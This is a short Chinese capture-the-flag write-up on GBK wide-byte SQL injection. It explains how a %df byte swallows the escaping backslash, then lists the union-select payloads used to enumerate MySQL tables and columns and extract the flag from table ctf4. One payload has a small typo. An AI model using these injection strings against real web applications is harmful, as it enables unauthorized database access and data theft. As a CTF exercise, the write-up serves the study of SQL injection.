宽字节注入:
原理:输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的 %df \ 变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。
拿到题目,根据题目判断应该是宽字节注入,先输入 ’ 试试
看到 \ 转义了输入的单引号,此时在加入%df进行尝试
报错了,应该是过滤了# ,那么可以换成%23试试
OK,那么现在就可以正常进行sql注入了,使用order by 来测试
order by 3
3报错,2正常
order by 2
查询当前数据库
union select 1,database() %23
查询表名,但是题目对单引号有转义,所以可以将sae-chinalover转换成16进制 即:7361652d6368696e616c6f766572
union select 1,(select group_concat(table_name) from information_schema.tables where= table_schema=0x7361652d6368696e616c6f766572)%23
进行尝试,发现flag在ctf4里面
union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)%23
union select 1,(select flag from ctf4) %23